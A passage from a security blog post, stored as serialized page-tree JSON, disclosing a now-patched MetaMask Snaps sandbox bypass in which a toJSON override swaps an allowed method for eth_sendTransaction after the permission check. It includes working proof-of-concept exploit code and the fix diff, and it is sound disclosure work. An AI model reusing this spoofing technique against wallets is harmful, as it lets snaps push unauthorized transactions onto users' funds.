undefined",{"type":25,"tag":201,"props":40410,"children":40411},{"style":220},[40412],{"type":31,"value":461},{"type":25,"tag":201,"props":40414,"children":40415},{"class":203,"line":464},[40416],{"type":25,"tag":201,"props":40417,"children":40418},{"style":220},[40419],{"type":31,"value":14166},{"type":25,"tag":201,"props":40421,"children":40422},{"class":203,"line":490},[40423,40428,40433],{"type":25,"tag":201,"props":40424,"children":40425},{"style":230},[40426],{"type":31,"value":40427},"      return",{"type":25,"tag":201,"props":40429,"children":40430},{"style":246},[40431],{"type":31,"value":40432}," propValue",{"type":25,"tag":201,"props":40434,"children":40435},{"style":220},[40436],{"type":31,"value":461},{"type":25,"tag":201,"props":40438,"children":40439},{"class":203,"line":499},[40440],{"type":25,"tag":201,"props":40441,"children":40442},{"style":220},[40443],{"type":31,"value":39615},{"type":25,"tag":201,"props":40445,"children":40446},{"class":203,"line":522},[40447],{"type":25,"tag":201,"props":40448,"children":40449},{"style":220},[40450],{"type":31,"value":39482},{"type":25,"tag":201,"props":40452,"children":40453},{"class":203,"line":531},[40454],{"type":25,"tag":201,"props":40455,"children":40456},{"style":220},[40457],{"type":31,"value":4286},{"type":25,"tag":34,"props":40459,"children":40460},{},[40461,40463,40469,40471,40476,40478,40484,40486,40492],{"type":31,"value":40462},"The function performs a ",{"type":25,"tag":115,"props":40464,"children":40466},{"className":40465},[],[40467],{"type":31,"value":40468},"JSON.parse(JSON.stringify(value))",{"type":31,"value":40470}," in the argument sent to ",{"type":25,"tag":115,"props":40472,"children":40474},{"className":40473},[],[40475],{"type":31,"value":40146},{"type":31,"value":40477},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":25,"tag":115,"props":40479,"children":40481},{"className":40480},[],[40482],{"type":31,"value":40483},"toJSON",{"type":31,"value":40485}," function in a legit ",{"type":25,"tag":115,"props":40487,"children":40489},{"className":40488},[],[40490],{"type":31,"value":40491},"snap.request",{"type":31,"value":40493}," argument:",{"type":25,"tag":6944,"props":40495,"children":40496},{},[40497,40502,40507],{"type":25,"tag":6948,"props":40498,"children":40499},{},[40500],{"type":31,"value":40501},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":25,"tag":6948,"props":40503,"children":40504},{},[40505],{"type":31,"value":40506},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":25,"tag":6948,"props":40508,"children":40509},{},[40510],{"type":31,"value":40511},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":25,"tag":34,"props":40513,"children":40514},{},[40515],{"type":31,"value":40516},"The assertion bypass can be useful on two occasions:",{"type":25,"tag":6944,"props":40518,"children":40519},{},[40520,40525],{"type":25,"tag":6948,"props":40521,"children":40522},{},[40523],{"type":31,"value":40524},"forward blocked RPC methods",{"type":25,"tag":6948,"props":40526,"children":40527},{},[40528,40530,40535,40537,40543,40545,40550],{"type":31,"value":40529},"Making requests in ",{"type":25,"tag":115,"props":40531,"children":40533},{"className":40532},[],[40534],{"type":31,"value":40491},{"type":31,"value":40536}," that were only supposed to be done within ",{"type":25,"tag":115,"props":40538,"children":40540},{"className":40539},[],[40541],{"type":31,"value":40542},"ethereum.request",{"type":31,"value":40544}," (with ",{"type":25,"tag":115,"props":40546,"children":40548},{"className":40547},[],[40549],{"type":31,"value":39719},{"type":31,"value":40551}," enabled).",{"type":25,"tag":34,"props":40553,"children":40554},{},[40555],{"type":31,"value":40556},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":25,"tag":40,"props":40558,"children":40559},{"id":7171},[40560],{"type":31,"value":7174},{"type":25,"tag":34,"props":40562,"children":40563},{},[40564],{"type":31,"value":40565},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":25,"tag":34,"props":40567,"children":40568},{},[40569],{"type":25,"tag":127,"props":40570,"children":40572},{"alt":7,"src":40571},"/posts/metamask-snaps/note.png",[],{"type":25,"tag":40,"props":40574,"children":40576},{"id":40575},"proof-of-concept",[40577],{"type":31,"value":3770},{"type":25,"tag":34,"props":40579,"children":40580},{},[40581,40583,40588,40590,40595,40597,40603],{"type":31,"value":40582},"To demonstrate the issue, we created a snap without the ",{"type":25,"tag":115,"props":40584,"children":40586},{"className":40585},[],[40587],{"type":31,"value":39719},{"type":31,"value":40589}," permission, and used the ",{"type":25,"tag":115,"props":40591,"children":40593},{"className":40592},[],[40594],{"type":31,"value":39248},{"type":31,"value":40596}," interface to call ",{"type":25,"tag":115,"props":40598,"children":40600},{"className":40599},[],[40601],{"type":31,"value":40602},"eth_sendTransaction",{"type":31,"value":40604},". According to the documentation, this shouldn't be possible:",{"type":25,"tag":191,"props":40606,"children":40608},{"className":36683,"code":40607,"language":36685,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[40609],{"type":25,"tag":115,"props":40610,"children":40611},{"__ignoreMap":7},[40612,40645,40652,40659,40676,40705,40712,40737,40744,40776,40787,40804,40817,40824,40831,40838,40870,40877,40884,40891,40907,40934,40941,40964,40971,41002,41013,41029,41041,41062,41077,41094,41102,41109,41116,41123,41154,41161,41168,41228,41235,41263,41280,41295,41311,41326,41338,41368,41375],{"type":25,"tag":201,"props":40613,"children":40614},{"class":203,"line":204},[40615,40619,40623,40628,40632,40636,40641],{"type":25,"tag":201,"props":40616,"children":40617},{"style":230},[40618],{"type":31,"value":1204},{"type":25,"tag":201,"props":40620,"children":40621},{"style":220},[40622],{"type":31,"value":11090},{"type":25,"tag":201,"props":40624,"children":40625},{"style":246},[40626],{"type":31,"value":40627},"OnRpcRequestHandler",{"type":25,"tag":201,"props":40629,"children":40630},{"style":220},[40631],{"type":31,"value":37272},{"type":25,"tag":201,"props":40633,"children":40634},{"style":230},[40635],{"type":31,"value":20972},{"type":25,"tag":201,"props":40637,"children":40638},{"style":267},[40639],{"type":31,"value":40640}," '@metamask/snaps-types'",{"type":25,"tag":201,"props":40642,"children":40643},{"style":220},[40644],{"type":31,"value":461},{"type":25,"tag":201,"props":40646,"children":40647},{"class":203,"line":226},[40648],{"type":25,"tag":201,"props":40649,"children":40650},{"emptyLinePlaceholder":17},[40651],{"type":31,"value":496},{"type":25,"tag":201,"props":40653,"children":40654},{"class":203,"line":278},[40655],{"type":25,"tag":201,"props":40656,"children":40657},{"emptyLinePlaceholder":17},[40658],{"type":31,"value":496},{"type":25,"tag":201,"props":40660,"children":40661},{"class":203,"line":311},[40662,40666,40671],{"type":25,"tag":201,"props":40663,"children":40664},{"style":208},[40665],{"type":31,"value":211},{"type":25,"tag":201,"props":40667,"children":40668},{"style":214},[40669],{"type":31,"value":40670}," jsonExploit",{"type":25,"tag":201,"props":40672,"children":40673},{"style":220},[40674],{"type":31,"value":40675},"(){\n",{"type":25,"tag":201,"props":40677,"children":40678},{"class":203,"line":330},[40679,40683,40687,40691,40696,40700],{"type":25,"tag":201,"props":40680,"children":40681},{"style":208},[40682],{"type":31,"value":9364},{"type":25,"tag":201,"props":40684,"children":40685},{"style":246},[40686],{"type":31,"value":20564},{"type":25,"tag":201,"props":40688,"children":40689},{"style":261},[40690],{"type":31,"value":413},{"type":25,"tag":201,"props":40692,"children":40693},{"style":220},[40694],{"type":31,"value":40695}," [] ",{"type":25,"tag":201,"props":40697,"children":40698},{"style":230},[40699],{"type":31,"value":10349},{"type":25,"tag":201,"props":40701,"children":40702},{"style":4925},[40703],{"type":31,"value":40704}," any\n",{"type":25,"tag":201,"props":40706,"children":40707},{"class":203,"line":397},[40708],{"type":25,"tag":201,"props":40709,"children":40710},{"emptyLinePlaceholder":17},[40711],{"type":31,"value":496},{"type":25,"tag":201,"props":40713,"children":40714},{"class":203,"line":437},[40715,40720,40724,40728,40732],{"type":25,"tag":201,"props":40716,"children":40717},{"style":246},[40718],{"type":31,"value":40719},"  x",{"type":25,"tag":201,"props":40721,"children":40722},{"style":220},[40723],{"type":31,"value":80},{"type":25,"tag":201,"props":40725,"children":40726},{"style":246},[40727],{"type":31,"value":39383},{"type":25,"tag":201,"props":40729,"children":40730},{"style":261},[40731],{"type":31,"value":413},{"type":25,"tag":201,"props":40733,"children":40734},{"style":267},[40735],{"type":31,"value":40736}," \"snap_dialog\"\n",{"type":25,"tag":201,"props":40738,"children":40739},{"class":203,"line":464},[40740],{"type":25,"tag":201,"props":40741,"children":40742},{"emptyLinePlaceholder":17},[40743],{"type":31,"value":496},{"type":25,"tag":201,"props":40745,"children":40746},{"class":203,"line":490},[40747,40751,40755,40759,40763,40768,40772],{"type":25,"tag":201,"props":40748,"children":40749},{"style":246},[40750],{"type":31,"value":40719},{"type":25,"tag":201,"props":40752,"children":40753},{"style":220},[40754],{"type":31,"value":80},{"type":25,"tag":201,"props":40756,"children":40757},{"style":214},[40758],{"type":31,"value":40483},{"type":25,"tag":201,"props":40760,"children":40761},{"style":261},[40762],{"type":31,"value":413},{"type":25,"tag":201,"props":40764,"children":40765},{"style":220},[40766],{"type":31,"value":40767}," () ",{"type":25,"tag":201,"props":40769,"children":40770},{"style":208},[40771],{"type":31,"value":390},{"type":25,"tag":201,"props":40773,"children":40774},{"style":220},[40775],{"type":31,"value":327},{"type":25,"tag":201,"props":40777,"children":40778},{"class":203,"line":499},[40779,40783],{"type":25,"tag":201,"props":40780,"children":40781},{"style":230},[40782],{"type":31,"value":18486},{"type":25,"tag":201,"props":40784,"children":40785},{"style":220},[40786],{"type":31,"value":327},{"type":25,"tag":201,"props":40788,"children":40789},{"class":203,"line":522},[40790,40795,40800],{"type":25,"tag":201,"props":40791,"children":40792},{"style":246},[40793],{"type":31,"value":40794},"      method:",{"type":25,"tag":201,"props":40796,"children":40797},{"style":267},[40798],{"type":31,"value":40799}," \"eth_requestAccounts\"",{"type":25,"tag":201,"props":40801,"children":40802},{"style":220},[40803],{"type":31,"value":547},{"type":25,"tag":201,"props":40805,"children":40806},{"class":203,"line":531},[40807,40812],{"type":25,"tag":201,"props":40808,"children":40809},{"style":246},[40810],{"type":31,"value":40811},"      params:",{"type":25,"tag":201,"props":40813,"children":40814},{"style":220},[40815],{"type":31,"value":40816}," []\n",{"type":25,"tag":201,"props":40818,"children":40819},{"class":203,"line":550},[40820],{"type":25,"tag":201,"props":40821,"children":40822},{"style":220},[40823],{"type":31,"value":4861},{"type":25,"tag":201,"props":40825,"children":40826},{"class":203,"line":563},[40827],{"type":25,"tag":201,"props":40828,"children":40829},{"style":220},[40830],{"type":31,"value":1178},{"type":25,"tag":201,"props":40832,"children":40833},{"class":203,"line":572},[40834],{"type":25,"tag":201,"props":40835,"children":40836},{"emptyLinePlaceholder":17},[40837],{"type":31,"value":496},{"type":25,"tag":201,"props":40839,"children":40840},{"class":203,"line":590},[40841,40845,40850,40854,40858,40862,40866],{"type":25,"tag":201,"props":40842,"children":40843},{"style":230},[40844],{"type":31,"value":40269},{"type":25,"tag":201,"props":40846,"children":40847},{"style":246},[40848],{"type":31,"value":40849}," snap",{"type":25,"tag":201,"props":40851,"children":40852},{"style":220},[40853],{"type":31,"value":80},{"type":25,"tag":201,"props":40855,"children":40856},{"style":214},[40857],{"type":31,"value":345},{"type":25,"tag":201,"props":40859,"children":40860},{"style":220},[40861],{"type":31,"value":298},{"type":25,"tag":201,"props":40863,"children":40864},{"style":246},[40865],{"type":31,"value":1606},{"type":25,"tag":201,"props":40867,"children":40868},{"style":220},[40869],{"type":31,"value":4666},{"type":25,"tag":201,"props":40871,"children":40872},{"class":203,"line":608},[40873],{"type":25,"tag":201,"props":40874,"children":40875},{"emptyLinePlaceholder":17},[40876],{"type":31,"value":496},{"type":25,"tag":201,"props":40878,"children":40879},{"class":203,"line":617},[40880],{"type":25,"tag":201,"props":40881,"children":40882},{"style":220},[40883],{"type":31,"value":1187},{"type":25,"tag":201,"props":40885,"children":40886},{"class":203,"line":625},[40887],{"type":25,"tag":201,"props":40888,"children":40889},{"emptyLinePlaceholder":17},[40890],{"type":31,"value":496},{"type":25,"tag":201,"props":40892,"children":40893},{"class":203,"line":642},[40894,40898,40903],{"type":25,"tag":201,"props":40895,"children":40896},{"style":208},[40897],{"type":31,"value":211},{"type":25,"tag":201,"props":40899,"children":40900},{"style":214},[40901],{"type":31,"value":40902}," transactionExploit",{"type":25,"tag":201,"props":40904,"children":40905},{"style":220},[40906],{"type":31,"value":40675},{"type":25,"tag":201,"props":40908,"children":40909},{"class":203,"line":659},[40910,40914,40918,40922,40926,40930],{"type":25,"tag":201,"props":40911,"children":40912},{"style":208},[40913],{"type":31,"value":9364},{"type":25,"tag":201,"props":40915,"children":40916},{"style":246},[40917],{"type":31,"value":20564},{"type":25,"tag":201,"props":40919,"children":40920},{"style":261},[40921],{"type":31,"value":413},{"type":25,"tag":201,"props":40923,"children":40924},{"style":220},[40925],{"type":31,"value":40695},{"type":25,"tag":201,"props":40927,"children":40928},{"style":230},[40929],{"type":31,"value":10349},{"type":25,"tag":201,"props":40931,"children":40932},{"style":4925},[40933],{"type":31,"value":40704},{"type":25,"tag":201,"props":40935,"children":40936},{"class":203,"line":667},[40937],{"type":25,"tag":201,"props":40938,"children":40939},{"emptyLinePlaceholder":17},[40940],{"type":31,"value":496},{"type":25,"tag":201,"props":40942,"children":40943},{"class":203,"line":676},[40944,40948,40952,40956,40960],{"type":25,"tag":201,"props":40945,"children":40946},{"style":246},[40947],{"type":31,"value":40719},{"type":25,"tag":201,"props":40949,"children":40950},{"style":220},[40951],{"type":31,"value":80},{"type":25,"tag":201,"props":40953,"children":40954},{"style":246},[40955],{"type":31,"value":39383},{"type":25,"tag":201,"props":40957,"children":40958},{"style":261},[40959],{"type":31,"value":413},{"type":25,"tag":201,"props":40961,"children":40962},{"style":267},[40963],{"type":31,"value":40736},{"type":25,"tag":201,"props":40965,"children":40966},{"class":203,"line":694},[40967],{"type":25,"tag":201,"props":40968,"children":40969},{"emptyLinePlaceholder":17},[40970],{"type":31,"value":496},{"type":25,"tag":201,"props":40972,"children":40973},{"class":203,"line":707},[40974,40978,40982,40986,40990,40994,40998],{"type":25,"tag":201,"props":40975,"children":40976},{"style":246},[40977],{"type":31,"value":40719},{"type":25,"tag":201,"props":40979,"children":40980},{"style":220},[40981],{"type":31,"value":80},{"type":25,"tag":201,"props":40983,"children":40984},{"style":214},[40985],{"type":31,"value":40483},{"type":25,"tag":201,"props":40987,"children":40988},{"style":261},[40989],{"type":31,"value":413},{"type":25,"tag":201,"props":40991,"children":40992},{"style":220},[40993],{"type":31,"value":40767},{"type":25,"tag":201,"props":40995,"children":40996},{"style":208},[40997],{"type":31,"value":390},{"type":25,"tag":201,"props":40999,"children":41000},{"style":220},[41001],{"type":31,"value":327},{"type":25,"tag":201,"props":41003,"children":41004},{"class":203,"line":715},[41005,41009],{"type":25,"tag":201,"props":41006,"children":41007},{"style":230},[41008],{"type":31,"value":18486},{"type":25,"tag":201,"props":41010,"children":41011},{"style":220},[41012],{"type":31,"value":327},{"type":25,"tag":201,"props":41014,"children":41015},{"class":203,"line":732},[41016,41020,41025],{"type":25,"tag":201,"props":41017,"children":41018},{"style":246},[41019],{"type":31,"value":40794},{"type":25,"tag":201,"props":41021,"children":41022},{"style":267},[41023],{"type":31,"value":41024}," \"eth_sendTransaction\"",{"type":25,"tag":201,"props":41026,"children":41027},{"style":220},[41028],{"type":31,"value":547},{"type":25,"tag":201,"props":41030,"children":41031},{"class":203,"line":749},[41032,41036],{"type":25,"tag":201,"props":41033,"children":41034},{"style":246},[41035],{"type":31,"value":40811},{"type":25,"tag":201,"props":41037,"children":41038},{"style":220},[41039],{"type":31,"value":41040}," [{\n",{"type":25,"tag":201,"props":41042,"children":41043},{"class":203,"line":757},[41044,41048,41053,41057],{"type":25,"tag":201,"props":41045,"children":41046},{"style":246},[41047],{"type":31,"value":966},{"type":25,"tag":201,"props":41049,"children":41050},{"style":267},[41051],{"type":31,"value":41052}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":25,"tag":201,"props":41054,"children":41055},{"style":220},[41056],{"type":31,"value":919},{"type":25,"tag":201,"props":41058,"children":41059},{"style":4497},[41060],{"type":31,"value":41061},"// change this to your address\n",{"type":25,"tag":201,"props":41063,"children":41064},{"class":203,"line":765},[41065,41069,41073],{"type":25,"tag":201,"props":41066,"children":41067},{"style":246},[41068],{"type":31,"value":983},{"type":25,"tag":201,"props":41070,"children":41071},{"style":267},[41072],{"type":31,"value":41052},{"type":25,"tag":201,"props":41074,"children":41075},{"style":220},[41076],{"type":31,"value":547},{"type":25,"tag":201,"props":41078,"children":41079},{"class":203,"line":783},[41080,41085,41090],{"type":25,"tag":201,"props":41081,"children":41082},{"style":246},[41083],{"type":31,"value":41084},"        value:",{"type":25,"tag":201,"props":41086,"children":41087},{"style":267},[41088],{"type":31,"value":41089}," \"0x1\"",{"type":25,"tag":201,"props":41091,"children":41092},{"style":220},[41093],{"type":31,"value":547},{"type":25,"tag":201,"props":41095,"children":41096},{"class":203,"line":792},[41097],{"type":25,"tag":201,"props":41098,"children":41099},{"style":220},[41100],{"type":31,"value":41101},"      }]\n",{"type":25,"tag":201,"props":41103,"children":41104},{"class":203,"line":801},[41105],{"type":25,"tag":201,"props":41106,"children":41107},{"style":220},[41108],{"type":31,"value":4861},{"type":25,"tag":201,"props":41110,"children":41111},{"class":203,"line":809},[41112],{"type":25,"tag":201,"props":41113,"children":41114},{"style":220},[41115],{"type":31,"value":1178},{"type":25,"tag":201,"props":41117,"children":41118},{"class":203,"line":857},[41119],{"type":25,"tag":201,"props":41120,"children":41121},{"emptyLinePlaceholder":17},[41122],{"type":31,"value":496},{"type":25,"tag":201,"props":41124,"children":41125},{"class":203,"line":865},[41126,41130,41134,41138,41142,41146,41150],{"type":25,"tag":201,"props":41127,"children":41128},{"style":230},[41129],{"type":31,"value":40269},{"type":25,"tag":201,"props":41131,"children":41132},{"style":246},[41133],{"type":31,"value":40849},{"type":25,"tag":201,"props":41135,"children":41136},{"style":220},[41137],{"type":31,"value":80},{"type":25,"tag":201,"props":41139,"children":41140},{"style":214},[41141],{"type":31,"value":345},{"type":25,"tag":201,"props":41143,"children":41144},{"style":220},[41145],{"type":31,"value":298},{"type":25,"tag":201,"props":41147,"children":41148},{"style":246},[41149],{"type":31,"value":1606},{"type":25,"tag":201,"props":41151,"children":41152},{"style":220},[41153],{"type":31,"value":308},{"type":25,"tag":201,"props":41155,"children":41156},{"class":203,"line":931},[41157],{"type":25,"tag":201,"props":41158,"children":41159},{"style":220},[41160],{"type":31,"value":1187},{"type":25,"tag":201,"props":41162,"children":41163},{"class":203,"line":939},[41164],{"type":25,"tag":201,"props":41165,"children":41166},{"emptyLinePlaceholder":17},[41167],{"type":31,"value":496},{"type":25,"tag":201,"props":41169,"children":41170},{"class":203,"line":960},[41171,41175,41179,41184,41188,41193,41197,41202,41207,41211,41215,41220,41224],{"type":25,"tag":201,"props":41172,"children":41173},{"style":230},[41174],{"type":31,"value":39279},{"type":25,"tag":201,"props":41176,"children":41177},{"style":208},[41178],{"type":31,"value":40181},{"type":25,"tag":201,"props":41180,"children":41181},{"style":214},[41182],{"type":31,"value":41183}," onRpcRequest",{"type":25,"tag":201,"props":41185,"children":41186},{"style":261},[41187],{"type":31,"value":5997},{"type":25,"tag":201,"props":41189,"children":41190},{"style":4925},[41191],{"type":31,"value":41192}," OnRpcRequestHandler",{"type":25,"tag":201,"props":41194,"children":41195},{"style":261},[41196],{"type":31,"value":413},{"type":25,"tag":201,"props":41198,"children":41199},{"style":220},[41200],{"type":31,"value":41201}," ({ ",{"type":25,"tag":201,"props":41203,"children":41204},{"style":246},[41205],{"type":31,"value":41206},"origin",{"type":25,"tag":201,"props":41208,"children":41209},{"style":220},[41210],{"type":31,"value":919},{"type":25,"tag":201,"props":41212,"children":41213},{"style":246},[41214],{"type":31,"value":345},{"type":25,"tag":201,"props":41216,"children":41217},{"style":220},[41218],{"type":31,"value":41219}," }) ",{"type":25,"tag":201,"props":41221,"children":41222},{"style":208},[41223],{"type":31,"value":390},{"type":25,"tag":201,"props":41225,"children":41226},{"style":220},[41227],{"type":31,"value":327},{"type":25,"tag":201,"props":41229,"children":41230},{"class":203,"line":977},[41231],{"type":25,"tag":201,"props":41232,"children":41233},{"emptyLinePlaceholder":17},[41234],{"type":31,"value":496},{"type":25,"tag":201,"props":41236,"children":41237},{"class":203,"line":994},[41238,41243,41247,41251,41255,41259],{"type":25,"tag":201,"props":41239,"children":41240},{"style":230},[41241],{"type":31,"value":41242},"  switch",{"type":25,"tag":201,"props":41244,"children":41245},{"style":220},[41246],{"type":31,"value":238},{"type":25,"tag":201,"props":41248,"children":41249},{"style":246},[41250],{"type":31,"value":345},{"type":25,"tag":201,"props":41252,"children":41253},{"style":220},[41254],{"type":31,"value":80},{"type":25,"tag":201,"props":41256,"children":41257},{"style":246},[41258],{"type":31,"value":39383},{"type":25,"tag":201,"props":41260,"children":41261},{"style":220},[41262],{"type":31,"value":275},{"type":25,"tag":201,"props":41264,"children":41265},{"class":203,"line":1016},[41266,41271,41276],{"type":25,"tag":201,"props":41267,"children":41268},{"style":230},[41269],{"type":31,"value":41270},"    case",{"type":25,"tag":201,"props":41272,"children":41273},{"style":267},[41274],{"type":31,"value":41275}," 'json'",{"type":25,"tag":201,"props":41277,"children":41278},{"style":220},[41279],{"type":31,"value":7077},{"type":25,"tag":201,"props":41281,"children":41282},{"class":203,"line":1089},[41283,41287,41291],{"type":25,"tag":201,"props":41284,"children":41285},{"style":230},[41286],{"type":31,"value":40427},{"type":25,"tag":201,"props":41288,"children":41289},{"style":214},[41290],{"type":31,"value":40670},{"type":25,"tag":201,"props":41292,"children":41293},{"style":220},[41294],{"type":31,"value":1985},{"type":25,"tag":201,"props":41296,"children":41297},{"class":203,"line":1107},[41298,41302,41307],{"type":25,"tag":201,"props":41299,"children":41300},{"style":230},[41301],{"type":31,"value":41270},{"type":25,"tag":201,"props":41303,"children":41304},{"style":267},[41305],{"type":31,"value":41306}," 'transaction'",{"type":25,"tag":201,"props":41308,"children":41309},{"style":220},[41310],{"type":31,"value":7077},{"type":25,"tag":201,"props":41312,"children":41313},{"class":203,"line":1116},[41314,41318,41322],{"type":25,"tag":201,"props":41315,"children":41316},{"style":230},[41317],{"type":31,"value":40427},{"type":25,"tag":201,"props":41319,"children":41320},{"style":214},[41321],{"type":31,"value":40902},{"type":25,"tag":201,"props":41323,"children":41324},{"style":220},[41325],{"type":31,"value":1985},{"type":25,"tag":201,"props":41327,"children":41328},{"class":203,"line":1124},[41329,41334],{"type":25,"tag":201,"props":41330,"children":41331},{"style":230},[41332],{"type":31,"value":41333},"    default",{"type":25,"tag":201,"props":41335,"children":41336},{"style":220},[41337],{"type":31,"value":7077},{"type":25,"tag":201,"props":41339,"children":41340},{"class":203,"line":1163},[41341,41346,41350,41355,41359,41364],{"type":25,"tag":201,"props":41342,"children":41343},{"style":230},[41344],{"type":31,"value":41345},"      throw",{"type":25,"tag":201,"props":41347,"children":41348},{"style":208},[41349],{"type":31,"value":828},{"type":25,"tag":201,"props":41351,"children":41352},{"style":214},[41353],{"type":31,"value":41354}," Error",{"type":25,"tag":201,"props":41356,"children":41357},{"style":220},[41358],{"type":31,"value":298},{"type":25,"tag":201,"props":41360,"children":41361},{"style":267},[41362],{"type":31,"value":41363},"'Method not found.'",{"type":25,"tag":201,"props":41365,"children":41366},{"style":220},[41367],{"type":31,"value":308},{"type":25,"tag":201,"props":41369,"children":41370},{"class":203,"line":1172},[41371],{"type":25,"tag":201,"props":41372,"children":41373},{"style":220},[41374],{"type":31,"value":1178},{"type":25,"tag":201,"props":41376,"children":41377},{"class":203,"line":1181},[41378],{"type":25,"tag":201,"props":41379,"children":41380},{"style":220},[41381],{"type":31,"value":18073},{"type":25,"tag":34,"props":41383,"children":41384},{},[41385,41387,41393,41395,41400],{"type":31,"value":41386},"We set ",{"type":25,"tag":115,"props":41388,"children":41390},{"className":41389},[],[41391],{"type":31,"value":41392},"x.method = \"snap_dialog\"",{"type":31,"value":41394}," to pass the assertion and setup a toJSON function to change this method to ",{"type":25,"tag":115,"props":41396,"children":41398},{"className":41397},[],[41399],{"type":31,"value":40602},{"type":31,"value":41401}," after.",{"type":25,"tag":40,"props":41403,"children":41405},{"id":41404},"mitigation",[41406],{"type":31,"value":41407},"Mitigation",{"type":25,"tag":34,"props":41409,"children":41410},{},[41411,41413,41418,41420,41427],{"type":31,"value":41412},"Metamask mitigated this issue by asserting the arguments after the ",{"type":25,"tag":115,"props":41414,"children":41416},{"className":41415},[],[41417],{"type":31,"value":40146},{"type":31,"value":41419}," function execution. The patch was introduced on commit ",{"type":25,"tag":71,"props":41421,"children":41424},{"href":41422,"rel":41423},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[75],[41425],{"type":31,"value":41426},"168ff08",{"type":31,"value":41428}," with the following changes:",{"type":25,"tag":191,"props":41430,"children":41434},{"className":41431,"code":41432,"language":41433,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[41435],{"type":25,"tag":115,"props":41436,"children":41437},{"__ignoreMap":7},[41438,41446,41454,41462,41470],{"type":25,"tag":201,"props":41439,"children":41440},{"class":203,"line":204},[41441],{"type":25,"tag":201,"props":41442,"children":41443},{"style":220},[41444],{"type":31,"value":41445},"const request = async (args: RequestArguments) => {\n",{"type":25,"tag":201,"props":41447,"children":41448},{"class":203,"line":226},[41449],{"type":25,"tag":201,"props":41450,"children":41451},{"style":267},[41452],{"type":31,"value":41453},"-      assertEthereumOutboundRequest(args);\n",{"type":25,"tag":201,"props":41455,"children":41456},{"class":203,"line":278},[41457],{"type":25,"tag":201,"props":41458,"children":41459},{"style":267},[41460],{"type":31,"value":41461},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":25,"tag":201,"props":41463,"children":41464},{"class":203,"line":311},[41465],{"type":25,"tag":201,"props":41466,"children":41467},{"style":426},[41468],{"type":31,"value":41469},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":25,"tag":201,"props":41471,"children":41472},{"class":203,"line":330},[41473],{"type":25,"tag":201,"props":41474,"children":41475},{"style":426},[41476],{"type":31,"value":41477},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":25,"tag":26,"props":41479,"children":41480},{"id":4323},[41481],{"type":31,"value":4326},{"type":25,"tag":34,"props":41483,"children":41484},{},[41485],{"type":31,"value":41486},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":25,"tag":34,"props":41488,"children":41489},{},[41490],{"type":31,"value":41491},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":25,"tag":4349,"props":41493,"children":41494},{},[41495],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":41497},[41498,41499,41506,41514],{"id":20455,"depth":226,"text":20458},{"id":36522,"depth":226,"text":36525,"children":41500},[41501,41502,41503,41504,41505],{"id":36533,"depth":278,"text":36536},{"id":36601,"depth":278,"text":36604},{"id":36637,"depth":278,"text":36640},{"id":38033,"depth":278,"text":38036},{"id":38391,"depth":278,"text":38394},{"id":39178,"depth":226,"text":39181,"children":41507},[41508,41509,41510,41511,41512,41513],{"id":39184,"depth":278,"text":39187},{"id":39228,"depth":278,"text":39231},{"id":40132,"depth":278,"text":40135},{"id":7171,"depth":278,"text":7174},{"id":40575,"depth":278,"text":3770},{"id":41404,"depth":278,"text":41407},{"id":4323,"depth":226,"text":4326},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":41519,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41520,"description":41521,"author":41522,"image":41524,"date":41526,"isFeatured":17,"onBlogPage":17,"body":41527,"_type":4371,"_id":46947,"_source":4373,"_file":46948,"_stem":46949,"_extension":4376},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program 